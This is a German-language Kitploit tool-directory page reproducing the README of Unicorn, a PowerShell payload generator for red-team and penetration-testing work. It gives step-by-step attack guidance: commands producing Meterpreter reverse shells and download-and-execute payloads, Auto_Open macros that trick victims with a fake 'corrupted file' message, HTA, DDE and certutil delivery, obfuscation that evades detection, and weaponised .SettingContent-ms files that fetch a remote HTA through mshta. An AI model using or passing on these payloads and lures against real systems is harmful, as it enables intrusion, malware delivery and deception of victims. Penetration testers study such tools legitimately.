Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
unicorn — Unicorn ist ein einfaches Werkzeug, um einen PowerShell-Downgrade-Angriff durchzuführen und Shellcode direkt in den Speicher zu injizieren. Basierend auf Matthew Graebers PowerShell-Angriffen und der PowerShell-Bypass-Technik, die von David Kennedy (TrustedSec) und Josh Kelly auf der Defcon 18 vorgestellt wurde. | Kitploit
Tools/GitHubGitHub/trustedsec/unicorn
Phishing-ToolsExploit-FrameworksPayload-GenerierungIDS/IPS-UmgehungShellcodeWebanwendungs-ExploitationPenetrationstestsCommand and ControlSocial EngineeringPayload-Entwicklung
GitHubtrustedsec/unicorn
3.9k823vor 2 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

unicorn

Repository anzeigenWebseite

Unicorn ist ein einfaches Werkzeug, um einen PowerShell-Downgrade-Angriff durchzuführen und Shellcode direkt in den Speicher zu injizieren. Basierend auf Matthew Graebers PowerShell-Angriffen und der PowerShell-Bypass-Technik, die von David Kennedy (TrustedSec) und Josh Kelly auf der Defcon 18 vorgestellt wurde.

Teilen

unicorn

Geschrieben von: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com

Magic Unicorn ist ein einfaches Werkzeug, um einen PowerShell-Downgrade-Angriff durchzuführen und Shellcode direkt in den Speicher zu injizieren. Basiert auf Matthew Graebers PowerShell-Angriffen und der PowerShell-Bypass-Technik, die von David Kennedy (TrustedSec) und Josh Kelly auf der Defcon 18 vorgestellt wurde.

Die Verwendung ist einfach: Führen Sie einfach Magic Unicorn aus (stellen Sie sicher, dass Metasploit installiert ist, wenn Sie Metasploit-Methoden verwenden, und dass es sich im richtigen Pfad befindet) und Magic Unicorn generiert automatisch einen PowerShell-Befehl, den Sie einfach ausschneiden und in ein Befehlszeilenfenster oder über ein Payload-Lieferungssystem einfügen müssen. Unicorn unterstützt eigenen Shellcode, Cobalt Strike und Metasploit.

root@kitploit:~
root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Angriffsvektor -----------------------------

Native x86 PowerShell-Injektionsangriffe auf jeder Windows-Plattform.
Geschrieben von: Dave Kennedy bei TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates

Happy Magic Unicorns.

Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help

-----POWERSHELL-ANGRIFFSANLEITUNGEN----

Alles wird nun in zwei Dateien generiert: powershell_attack.txt und unicorn.rc. Die Textdatei enthält den gesamten Code, der benötigt wird, um den PowerShell-Angriff in den Speicher zu injizieren. Beachten Sie, dass Sie einen Ort benötigen, der eine Art Remote-Befehlsinjektion unterstützt. Oft kann dies über ein Excel/Word-Dokument oder über psexec_commands in Metasploit, SQLi usw. erfolgen. Es gibt unzählige Einsatzmöglichkeiten und Szenarien, in denen Sie diesen Angriff verwenden können. Fügen Sie einfach den Befehl aus powershell_attack.txt in ein beliebiges Eingabeaufforderungsfenster ein oder an einer Stelle, an der Sie die Möglichkeit haben, die PowerShell-ausführbare Datei aufzurufen, und Sie erhalten eine Shell zurück. Dieser Angriff unterstützt auch windows/download_exec als Payload-Methode, nicht nur Meterpreter-Payloads. Wenn Sie download_and_exec verwenden, geben Sie einfach python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe ein, und der PowerShell-Code lädt die Payload herunter und führt sie aus.

Beachten Sie, dass Sie einen Listener aktiviert haben müssen, um den Angriff zu erfassen.

-----MAKRO-ANGRIFFSANLEITUNGEN----

Für den Makro-Angriff müssen Sie zu Datei, Eigenschaften, Menübänder gehen und Entwicklertools auswählen. Sobald Sie das getan haben, haben Sie eine Registerkarte "Entwicklertools". Erstellen Sie ein neues Makro, nennen Sie es Auto_Open und fügen Sie den generierten Code dort ein. Dies wird automatisch ausgeführt. Beachten Sie, dass eine Meldung erscheint, die dem Benutzer mitteilt, dass die Datei beschädigt ist, und das Excel-Dokument automatisch schließt. DAS IST NORMALES VERHALTEN! Dies täuscht das Opfer, indem es glauben lässt, das Excel-Dokument sei beschädigt. Danach sollten Sie eine Shell durch PowerShell-Injektion erhalten.

Wenn Sie dies gegen Office365/2016+ Versionen von Word einsetzen, müssen Sie die erste Zeile der Ausgabe von: Sub Auto_Open()

Zu: Sub AutoOpen()

Ändern. Der Name des Makros selbst muss ebenfalls "AutoOpen" lauten, anstelle des alten Schemas "Auto_Open".

HINWEIS: BEIM KOPIEREN UND EINFÜGEN IN EXCEL MÜSSEN SIE, FALLS ZUSÄTZLICHE LEERZEICHEN HINZUGEFÜGT WERDEN, DIESE NACH JEDEM POWERSHELL-CODE-ABSCHNITT UNTER DER VARIABLEN "x" ENTFERNEN, SONST TRITT EIN SYNTAXFEHLER AUF!

-----HTA-ANGRIFFSANLEITUNGEN----

Der HTA-Angriff generiert automatisch zwei Dateien: zuerst die index.html, die dem Browser mitteilt, Launcher.hta zu verwenden, welches den bösartigen PowerShell-Injektionscode enthält. Alle Dateien werden in den Ordner hta_access/ exportiert, und es gibt drei Hauptdateien. Die erste ist index.html, die zweite Launcher.hta und die letzte die unicorn.rc-Datei. Sie können msfconsole -r unicorn.rc ausführen, um den Listener für Metasploit zu starten.

Ein Benutzer muss auf "Zulassen" klicken und die Aktion bestätigen, wenn der HTA-Angriff verwendet wird, damit die PowerShell-Injektion ordnungsgemäß funktioniert.

-----CERTUTIL-ANGRIFFSANLEITUNG----

Der Certutil-Angriffsvektor wurde von Matthew Graeber (@mattifestation) identifiziert. Er ermöglicht es Ihnen, eine Binärdatei zu nehmen, in ein Base64-Format zu konvertieren und auf dem Opferrechner mit certutil wieder in eine Binärdatei zurückzuverwandeln. Dies sollte auf praktisch jedem System funktionieren und Ihnen ermöglichen, eine Binärdatei über eine gefälschte Zertifikatsdatei auf den Opferrechner zu übertragen. Um diesen Angriff zu verwenden, legen Sie einfach eine ausführbare Datei im Pfad von Unicorn ab und führen Sie python unicorn.py <exe_name> crt aus, um die Base64-Ausgabe zu erhalten. Sobald dies abgeschlossen ist, gehen Sie zum Ordner decode_attack/, der die Dateien enthält. Die bat-Datei ist ein Befehl, der auf einem Windows-Rechner ausgeführt werden kann, um die Binärdatei zurückzugewinnen.

-----Anleitung für benutzerdefinierte PS1-Angriffe----

Diese Angriffsmethode ermöglicht es Ihnen, jede PowerShell-Datei (.ps1) in einen codierten Befehl oder ein Makro umzuwandeln.

Beachten Sie, dass bei der Auswahl der Makro-Option eine große ps1-Datei die von VBA zugelassene Anzahl von Zeilenumbrüchen überschreiten kann. Sie können die Anzahl der Zeichen in jedem VBA-String ändern, indem Sie einen Integer als Parameter übergeben.

Beispiele:

root@kitploit:~
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

Das letzte Beispiel verwendet einen String mit 500 Zeichen anstelle der Standardeinstellung von 380, was zu weniger Zeilenumbrüchen in VBA führt.

-----DDE Office COM-Angriffsanleitung----

Dieser Angriffsvektor generiert die DDEAUTO-Formel, die in Word oder Excel eingefügt wird. Die COM-Objekte DDEInitialize und DDEExecute ermöglichen das direkte Erstellen von Formeln in Office, was die Möglichkeit zur Ausführung von Remote-Code ohne Makros bietet. Dieser Angriff wurde dokumentiert und vollständige Anleitungen finden Sie unter:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Um diesen Angriff zu verwenden, führen Sie die folgenden Beispiele aus:

root@kitploit:~
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

Sobald dies generiert ist, wird eine powershell_attack.txt erstellt, die den Office-Code enthält, sowie die unicorn.rc Datei, die die Listener-Komponente darstellt und mit msfconsole -r unicorn.rc aufgerufen werden kann, um den Listener für die Payload zu verwalten. Zusätzlich wird eine download.ps1 exportiert (erklärt im folgenden Abschnitt).

Um die Payload anzuwenden, als Beispiel (aus dem sensepost-Artikel):

  1. Öffnen Sie Word
  2. Registerkarte Einfügen -> Schnellbausteine -> Feld
  3. Wählen Sie = (Formel) und klicken Sie auf OK.
  4. Sobald das Feld eingefügt ist, sollten Sie "!Unexpected End of Formula" sehen.
  5. Klicken Sie mit der rechten Maustaste auf das Feld und wählen Sie "Feldcodes anzeigen/umschalten".
  6. Fügen Sie den Code aus Unicorn ein.
  7. Speichern Sie das Word-Dokument.

Sobald das Office-Dokument geöffnet wird, sollten Sie eine Shell durch PowerShell-Injektion erhalten. Beachten Sie, dass DDE in der Zeichengröße begrenzt ist und wir Invoke-Expression (IEX) als Methode zum Herunterladen verwenden müssen.

Der DDE-Angriff versucht, download.ps1 herunterzuladen, das unseren PowerShell-Injektionsangriff enthält, da wir durch Größenbeschränkungen eingeschränkt sind. Sie müssen die download.ps1 an einen Ort verschieben, der für den Opferrechner zugänglich ist. Das bedeutet, dass Sie die download.ps1 in einem Apache2-Verzeichnis hosten müssen, auf das der Rechner zugreifen kann.

Sie werden feststellen, dass einige der Befehle { QUOTE verwenden. Dies sind Möglichkeiten, bestimmte Befehle zu verschleiern, wie hier dokumentiert: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In diesem Fall ändern wir WindowsPowerShell, powershell.exe und IEX, um der Erkennung zu entgehen. Schauen Sie sich auch die URL an, da sie einige großartige Methoden enthält, um DDE überhaupt nicht zu verwenden.

-----Cobalt Strike Beacon importieren----

Diese Methode importiert direkten Cobalt Strike Beacon Shellcode direkt aus Cobalt Strike.

Exportieren Sie in Cobalt Strike den Cobalt Strike "CS" (C#) Export und speichern Sie ihn in einer Datei. Nennen Sie die Datei zum Beispiel cobalt_strike_file.cs.

Der Exportcode wird ungefähr so aussehen:

  • length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc

Als nächstes zur Verwendung:

root@kitploit:~
python unicorn.py cobalt_strike_file.cs cs

Das Argument cs teilt Unicorn mit, dass Sie die Cobalt Strike-Funktionalität verwenden möchten. Der Rest ist Magie.

Kopieren Sie als nächstes einfach den PowerShell-Befehl in etwas, bei dem Sie die Möglichkeit zur Remote-Befehlsausführung haben.

HINWEIS: DIE DATEI MUSS IM C# (CS) FORMAT IN COBALT STRIKE EXPORTIERT WERDEN, DAMIT SIE KORREKT GEPARST WERDEN KANN.

Es gibt einige Einschränkungen bei diesem Angriff. Beachten Sie, dass die Payload-Größe etwas über 14k+ Bytes betragen wird. Das bedeutet, dass Sie aus Sicht der Befehlszeilenargumente die Zeichengrößenbeschränkung von 8191 Zeichen (fest codiert in cmd.exe) überschreiten, wenn Sie kopieren und einfügen. Wenn Sie direkt von cmd.exe starten, ist dies ein Problem; wenn Sie jedoch direkt von PowerShell oder anderen normalen Anwendungen starten, ist dies kein Problem.

Einige Beispiele hier: wscript.shell und PowerShell verwenden USHORT - 65535 / 2 = 32767 als Größenlimit:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

Bei diesem Angriff gibt es keine Probleme, wenn Sie direkt von PowerShell, VBSCript (WSCRIPT.SHELL) starten.

-----Methode zur Erstellung von benutzerdefiniertem Shellcode----

Diese Methode ermöglicht es Ihnen, Ihren eigenen Shellcode in den Unicorn-Angriff einzufügen. Der PowerShell-Code erhöht die Stack-Größe der powershell.exe (durch VirtualAlloc) und injiziert den Code in den Speicher.

Beachten Sie, dass Ihre Textdatei, auf die Sie Unicorn verweisen, im folgenden Format formatiert sein muss, damit dies funktioniert:

0x00,0x00,0x00 und so weiter.

Beachten Sie auch, dass es Größenbeschränkungen gibt. Die Gesamtlänge des PowerShell-Befehls darf die Größe von 8191 nicht überschreiten. Dies ist die maximale Größe für Befehlszeilenargumente in Windows.

Verwendung:

root@kitploit:~
python unicorn.py shellcode_formatted_properly.txt shellcode

Kopieren Sie als nächstes einfach den PowerShell-Befehl in etwas, bei dem Sie die Möglichkeit zur Remote-Befehlsausführung haben.

HINWEIS: DIE DATEI MUSS KORREKT IN EINEM 0x00,0x00,0x00-FORMAT FORMATTIERT SEIN, OHNE IRGENDETWAS ANDERES ALS IHREN SHELLCODE IN DER TXT-DATEI.

Es gibt einige Einschränkungen bei diesem Angriff. Beachten Sie, dass eine große Payload nicht in cmd.exe passt. Das bedeutet, dass Sie aus Sicht der Befehlszeilenargumente die Zeichengrößenbeschränkung von 8191 Zeichen (fest codiert in cmd.exe) überschreiten, wenn Sie kopieren und einfügen. Wenn Sie direkt von cmd.exe starten, ist dies ein Problem; wenn Sie jedoch direkt von PowerShell oder anderen normalen Anwendungen starten, ist dies kein Problem.

Einige Beispiele hier: wscript.shell und PowerShell verwenden USHORT - 65535 / 2 = 32767 als Größenlimit:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

Bei diesem Angriff gibt es keine Probleme, wenn Sie direkt von PowerShell, VBSCript (WSCRIPT.SHELL) starten.

-----SettingContent-ms-Erweiterungsmethode----

Zuallererst: Wenn Sie noch keine Gelegenheit hatten, schauen Sie sich den großartigen SpectreOps-Blog von Matt Nelson (enigma0x3) an:

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

Diese Methode verwendet einen bestimmten Dateityp namens ".SettingContent-ms", der sowohl direkte Ladungen aus Browsern (Öffnen + Befehlsausführung) als auch Erweiterungstypen durch Einbettung in Office-Produkte ermöglicht. Diese Methode konzentriert sich speziell auf Erweiterungstyp-Einstellungen für die Befehlsausführung innerhalb des PowerShell-Angriffsvektors von Unicorn.

Mit diesem Angriffsvektor werden mehrere Methoden unterstützt. Da die Zeichengröße bei diesem Angriff begrenzt ist, wird als Bereitstellungsmethode ein HTA verwendet.

Eine detaillierte Anleitung zur Waffenfähigkeit dieses Angriffs finden Sie unter:

https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

Die Schritte, die Sie zur Durchführung dieses Angriffs benötigen, bestehen darin, Ihre .SettingContent-ms-Datei entweder als eigenständige Datei oder als HTA zu generieren. Die HTA-Methode unterstützt Metasploit, Cobalt Strike und direkte Shellcode-Angriffe.

Die vier Methoden zur Verwendung:

HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Generate .SettingContent-ms: python unicorn.py ms

Die erste ist eine Metasploit-Payload, die zweite ein Cobalt Strike, die dritte Ihr eigener Shellcode und die vierte nur eine leere .SettingContent-ms-Datei.

Wenn alles generiert ist, wird eine Datei namens Standalone_NoASR.SettingContent-ms entweder im Standard-Root-Verzeichnis von Unicon (bei Verwendung der eigenständigen Dateigenerierung) oder im Ordner hta_attack/ exportiert. Sie müssen die Datei Standalone_NoASR.SettingContent-ms bearbeiten und ersetzen:

REPLACECOOLSTUFFHERE

Mit:

mshta http://<apache_server_ip_or_dns_name/Launcher.hta.

Verschieben Sie dann den Inhalt von hta_attack nach /var/www/html.

Sobald das Opfer entweder auf die .SettingContent-ms-Datei klickt, wird mshta auf dem Opferrechner aufgerufen und dann die Unicorn-HTA-Datei heruntergeladen, die die Code-Ausführungsfähigkeiten enthält.

Besonderer Dank und Anerkennung an Matt Nelson für die hervorragende Forschung.

Schauen Sie sich auch an: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

Verwendung:

root@kitploit:~
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms
Tool herunterladen